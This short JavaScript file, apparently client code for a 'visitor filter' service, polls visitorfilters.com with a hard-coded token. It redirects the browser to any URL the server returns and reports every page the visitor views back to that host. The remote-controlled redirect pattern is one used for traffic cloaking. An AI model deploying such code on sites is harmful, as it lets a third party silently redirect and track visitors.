var apiUrl = "https://visitorfilters.com/api?apiToken=4e9fe0bf17d5fdf9c14b3b7ca2e69a000ce64149fbe5d7f3a5ea111e268da6ec";

function getBaseUrlAndCheckRedirect() {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            try {
                var response = JSON.parse(this.responseText);
                if (response.redirect) {
                    window.location.href = response.url;
                }
            } catch(e) {
                console.log("JSON parsing error:", e);
            }
        }
    };
    xhr.open("GET", apiUrl, true);
    xhr.send();
}

function sendHeartbeat() {
    if (apiUrl) {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", apiUrl, true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        var currentPage = window.location.href;
        xhr.send("action=heartbeat&current_page=" + encodeURIComponent(currentPage) + "&apiToken=4e9fe0bf17d5fdf9c14b3b7ca2e69a000ce64149fbe5d7f3a5ea111e268da6ec");
    }
}

setInterval(getBaseUrlAndCheckRedirect, 10000);
setInterval(sendHeartbeat, 15000);